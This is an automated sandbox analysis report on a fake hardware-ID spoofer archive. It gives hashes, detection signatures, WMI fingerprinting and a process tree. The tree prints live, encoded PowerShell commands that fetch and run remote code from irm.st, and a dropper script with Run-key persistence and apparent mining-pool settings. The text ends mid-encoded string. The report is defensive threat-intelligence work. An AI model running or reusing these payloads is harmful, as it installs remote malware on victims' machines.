3204e9c669d61b2e59a8d139466f96a35456065706c84e260fcf77c7ab450620

Analysis

user interaction
yes
max time kernel
105s
max time network
107s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 15:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VirexTemp.rar
Size 1.3MB
Sample261024-sgnqcsvwcx
SHA256 3204e9c669d61b2e59a8d139466f96a35456065706c84e260fcf77c7ab450620
MD5 8b1bb870c915a365bb360e1e8717b234
SHA1 e76ad4c7e73c3aecd677880cc6aea051f32110c8
SHA512 6505563f0625d14bca908919b74989661b92680d4f299747600bf25388d33d7239f588175d7e3e4059ee123d7eb9b729e123a88c2edfcf29af8b050f078e71e5
SSDEEP 24576:j31Z3BcZFCGzezQvFCBH8d51t8L6c8RCwxeRbhfm/6V4RxU75qoQ/Dbm6CpBvgyi:j3HINzgQ9aE5rER8s/RbPV4RxQlmbaTy
TLSH
T19A553306BBFB5F18E89189F4BBDC95C454E599CF6991346C82B0B001BBA2DB38D54BE0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://irm.st/readme.zip

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
31	1904	powershell.exe
32	1068	powershell.exe
33	812	powershell.exe
34	4188	powershell.exe
35	4188	powershell.exe
36	4188	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1904	powershell.exe
1068	powershell.exe
812	powershell.exe
4188	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VirexTempSpoofer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VirexTempSpoofer.exe

Executes dropped EXE 2 IoCs

pid	Process
4644	VirexTempSpoofer.exe
2892	VirexTempSpoofer.exe

Queries system WMI classes for hardware identifiers 2 TTPs 4 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
4276	WMIC.exe
2100	WMIC.exe
1128	WMIC.exe
4212	WMIC.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3384	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 16 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	7zFM.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1904	powershell.exe
1904	powershell.exe
1068	powershell.exe
1068	powershell.exe
1068	powershell.exe
812	powershell.exe
812	powershell.exe
4188	powershell.exe
4188	powershell.exe
4188	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4848	7zFM.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4848	7zFM.exe
Token: 35	4848	7zFM.exe
Token: SeSecurityPrivilege	4848	7zFM.exe
Token: SeSecurityPrivilege	4848	7zFM.exe
Token: SeIncreaseQuotaPrivilege	1128	WMIC.exe
Token: SeSecurityPrivilege	1128	WMIC.exe
Token: SeTakeOwnershipPrivilege	1128	WMIC.exe
Token: SeLoadDriverPrivilege	1128	WMIC.exe
Token: SeSystemProfilePrivilege	1128	WMIC.exe
Token: SeSystemtimePrivilege	1128	WMIC.exe
Token: SeProfSingleProcessPrivilege	1128	WMIC.exe
Token: SeIncBasePriorityPrivilege	1128	WMIC.exe
Token: SeCreatePagefilePrivilege	1128	WMIC.exe
Token: SeBackupPrivilege	1128	WMIC.exe
Token: SeRestorePrivilege	1128	WMIC.exe
Token: SeShutdownPrivilege	1128	WMIC.exe
Token: SeDebugPrivilege	1128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1128	WMIC.exe
Token: SeRemoteShutdownPrivilege	1128	WMIC.exe
Token: SeUndockPrivilege	1128	WMIC.exe
Token: SeManageVolumePrivilege	1128	WMIC.exe
Token: 33	1128	WMIC.exe
Token: 34	1128	WMIC.exe
Token: 35	1128	WMIC.exe
Token: 36	1128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1128	WMIC.exe
Token: SeSecurityPrivilege	1128	WMIC.exe
Token: SeTakeOwnershipPrivilege	1128	WMIC.exe
Token: SeLoadDriverPrivilege	1128	WMIC.exe
Token: SeSystemProfilePrivilege	1128	WMIC.exe
Token: SeSystemtimePrivilege	1128	WMIC.exe
Token: SeProfSingleProcessPrivilege	1128	WMIC.exe
Token: SeIncBasePriorityPrivilege	1128	WMIC.exe
Token: SeCreatePagefilePrivilege	1128	WMIC.exe
Token: SeBackupPrivilege	1128	WMIC.exe
Token: SeRestorePrivilege	1128	WMIC.exe
Token: SeShutdownPrivilege	1128	WMIC.exe
Token: SeDebugPrivilege	1128	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1128	WMIC.exe
Token: SeRemoteShutdownPrivilege	1128	WMIC.exe
Token: SeUndockPrivilege	1128	WMIC.exe
Token: SeManageVolumePrivilege	1128	WMIC.exe
Token: 33	1128	WMIC.exe
Token: 34	1128	WMIC.exe
Token: 35	1128	WMIC.exe
Token: 36	1128	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4212	WMIC.exe
Token: SeSecurityPrivilege	4212	WMIC.exe
Token: SeTakeOwnershipPrivilege	4212	WMIC.exe
Token: SeLoadDriverPrivilege	4212	WMIC.exe
Token: SeSystemProfilePrivilege	4212	WMIC.exe
Token: SeSystemtimePrivilege	4212	WMIC.exe
Token: SeProfSingleProcessPrivilege	4212	WMIC.exe
Token: SeIncBasePriorityPrivilege	4212	WMIC.exe
Token: SeCreatePagefilePrivilege	4212	WMIC.exe
Token: SeBackupPrivilege	4212	WMIC.exe
Token: SeRestorePrivilege	4212	WMIC.exe
Token: SeShutdownPrivilege	4212	WMIC.exe
Token: SeDebugPrivilege	4212	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4212	WMIC.exe
Token: SeRemoteShutdownPrivilege	4212	WMIC.exe
Token: SeUndockPrivilege	4212	WMIC.exe
Token: SeManageVolumePrivilege	4212	WMIC.exe
Token: 33	4212	WMIC.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4848	7zFM.exe
4848	7zFM.exe
4848	7zFM.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3384 wrote to memory of 3544	3384	cmd.exe	104
PID 3384 wrote to memory of 1128	3384	cmd.exe	105
PID 3384 wrote to memory of 4212	3384	cmd.exe	106
PID 3384 wrote to memory of 3924	3384	cmd.exe	107
PID 3384 wrote to memory of 4348	3384	cmd.exe	108
PID 3384 wrote to memory of 3796	3384	cmd.exe	109
PID 3384 wrote to memory of 4276	3384	cmd.exe	110
PID 3384 wrote to memory of 2100	3384	cmd.exe	111
PID 3384 wrote to memory of 4168	3384	cmd.exe	112
PID 4644 wrote to memory of 1904	4644	VirexTempSpoofer.exe	114
PID 1904 wrote to memory of 1068	1904	powershell.exe	117
PID 2892 wrote to memory of 812	2892	VirexTempSpoofer.exe	120
PID 812 wrote to memory of 4188	812	powershell.exe	123

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\VirexTemp.rar"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4848

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4548

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Serial Checker.bat
1⤵
PID:1080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Serial Checker.bat" "
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3384
- C:\Windows\system32\mode.com
  mode con: cols=180 lines=62
  2⤵
  PID:3544
- C:\Windows\System32\Wbem\WMIC.exe
  wmic diskdrive get serialnumber
  2⤵
  - Queries system WMI classes for hardware identifiers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:1128
- C:\Windows\System32\Wbem\WMIC.exe
  wmic baseboard get serialnumber
  2⤵
  - Queries system WMI classes for hardware identifiers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:4212
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_computersystemproduct get uuid
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:3924
- C:\Windows\System32\Wbem\WMIC.exe
  wmic PATH Win32_VideoController GET Description,PNPDeviceID
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4348
- C:\Windows\System32\Wbem\WMIC.exe
  wmic memorychip get serialnumber
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:3796
- C:\Windows\System32\Wbem\WMIC.exe
  wmic csproduct get uuid
  2⤵
  - Queries system WMI classes for hardware identifiers
  - Reads the TCP/IP host and domain name from the registry
  PID:4276
- C:\Windows\System32\Wbem\WMIC.exe
  wmic cpu get processorid
  2⤵
  - Queries system WMI classes for hardware identifiers
  - Reads the TCP/IP host and domain name from the registry
  PID:2100
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path Win32_NetworkAdapter where "PNPDeviceID like '%PCI%' AND NetConnectionStatus=2 AND AdapterTypeID='0'" get MacAddress
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  PID:4168

C:\Users\Admin\Desktop\VirexTempSpoofer.exe
"C:\Users\Admin\Desktop\VirexTempSpoofer.exe"
1⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoACgAkAFUAcgBsACAAIAAgACAAIAAgACAAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQByAG0ALgBzAHQALwByAGUAYQBkAG0AZQAuAHoAaQBwACcACgAkAEEAcABwAE4AYQBtAGUAIAAgACAAIAA9ACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAKACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgAD0AIAAnAHMAdAByAGEAdAB1AG0AKwB0AGMAcAA6AC8ALwBjADIALgBkAG8AeABiAGkAbgAuAGMAeQA6ADMAMwAzADMAJwAKACQAVQBzAGUAcgBBAHIAZwAgACAAIAAgAD0AIAAnAHgALgB4AG0AcgByAGkAZwAnAAoACgAkAFQAYQByAGcAZQB0AEQAaQByACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACcATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACcACgAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBrAC4AegBpAHAAJwAKACQARQB4AGUAUABhAHQAaAAgACAAIAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAoACQAQQBwAHAATgBhAG0AZQAgACsAIAAnAC4AZQB4AGUAJwApAAoAJABWAGIAcwBQAGEAdABoACAAIAAgACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAgACcAcwB0AGEAcgB0AC4AdgBiAHMAJwAKACQAUgBlAGEAZABtAGUAUABhAHQAaAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAHIAZQBhAGQAbQBlAC4AbQBkACcACgAKACQAUgB1AG4ASwBlAHkAIAAgACAAIAAgACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAKACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARQB4AHAAbABvAHIAZQByAFwAUwB0AGEAcgB0AHUAcABBAHAAcAByAG8AdgBlAGQAXABSAHUAbgAnAAoACgAkAEUAbgBhAGIAbABlAGQAQgBsAG8AYgAgAD0AIABbAGIAeQB0AGUAWwBdAF0AKAAwAHgAMAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzACAAewAKACAAIAAgACAAJABmAGwAYQBnAHMAIAA9ACAAMAAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABuACAAaQBuACAAQAAoACcAVABsAHMAMQAzACcALAAnAFQAbABzADEAMgAnACwAJwBUAGwAcwAxADEAJwAsACcAVABsAHMAJwAsACcAUwBzAGwAMwAnACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB2AGEAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAJABuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHYAYQBsACkAIAB7ACAAJABmAGwAYQBnAHMAIAA9ACAAJABmAGwAYQBnAHMAIAAtAGIAbwByACAAWwBpAG4AdABdACQAdgBhAGwAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGYAbABhAGcAcwAgAC0AZQBxACAAMAApACAAewAgAHIAZQB0AHUAcgBuACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQAkAGYAbABhAGcAcwAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB7AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAYQByAGEAbQAoACQAcwAsACQAYwAsACQAYwBoACwAJABlACkAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAewAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgACQAbgB1AGwAbAAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzAAoACgBmAHUAbgBjAHQAaQBvAG4AIABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgBvAG8AbABdACgARwBlAHQALQBDAG8AbQBtAGEAbgBkACAALQBOAGEAbQBlACAAJABOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAJABPAGIAagBlAGMAdAAsAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAE8AYgBqAGUAYwB0ACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAAkAHAAIAA9ACAAJABPAGIAagBlAGMAdAAuAFAAUwBPAGIAagBlAGMAdAAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAkAE4AYQBtAGUAXQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABwACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcAAuAFYAYQBsAHUAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABSAHUAbgBOAGEAbQBlACkACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABmAGEAbABzAGUAIAB9AAoACgAgACAAIAAgACQAcgB1AG4ASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABSAHUAbgBLAGUAeQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAHIAdQBuAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAcgB1AG4AVgBhAGwAdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAgAH0ACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEEAcABwAHIAbwB2AGUAZABSAHUAbgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAKACAAIAAgACAAJABhAHAAcAByAG8AdgBlAGQASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQAYgBlAGYAbwByAGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAGEAcABwAHIAbwB2AGUAZABJAHQAZQBtACAALQBOAGEAbQBlACAAJABSAHUAbgBOAGEAbQBlAAoACgAgACAAIAAgAGkAZgAgACgAJABiAGUAZgBvAHIAZQAgAC0AYQBuAGQAIAAkAGIAZQBmAG8AcgBlAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAIAAtAGEAbgBkACAAJABiAGUAZgBvAHIAZQBbADAAXQAgAC0AZQBxACAAMgApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAQgBpAG4AYQByAHkAIAAtAFYAYQBsAHUAZQAgACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAGEAZgB0AGUAcgAgAD0AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAALQBPAGIAagBlAGMAdAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABhAGYAdABlAHIAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlACAAfQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAoACgAJABhAGYAdABlAHIAIAAtAGoAbwBpAG4AIAAnACwAJwApACAALQBlAHEAIAAoACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBqAG8AaQBuACAAJwAsACcAKQApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AKABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAKQBdAFsAcwB0AHIAaQBuAGcAXQAkAFAAcgBvAGMATgBhAG0AZQAsACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABUAGEAcgBnAGUAdABQAGEAdABoACkACgAgACAAIAAgAAoAIAAgACAAIAAkAGUAeABlACAAPQAgACQAUAByAG8AYwBOAGEAbQBlACAAKwAgACcALgBlAHgAZQAnAAoACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAGMAaQBtACAAPQAgAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnACQAZQB4AGUAJwAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABjAGkAbQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAYwBpAG0AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBpAGUAcQAgACQAVABhAHIAZwBlAHQAUABhAHQAaAApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AH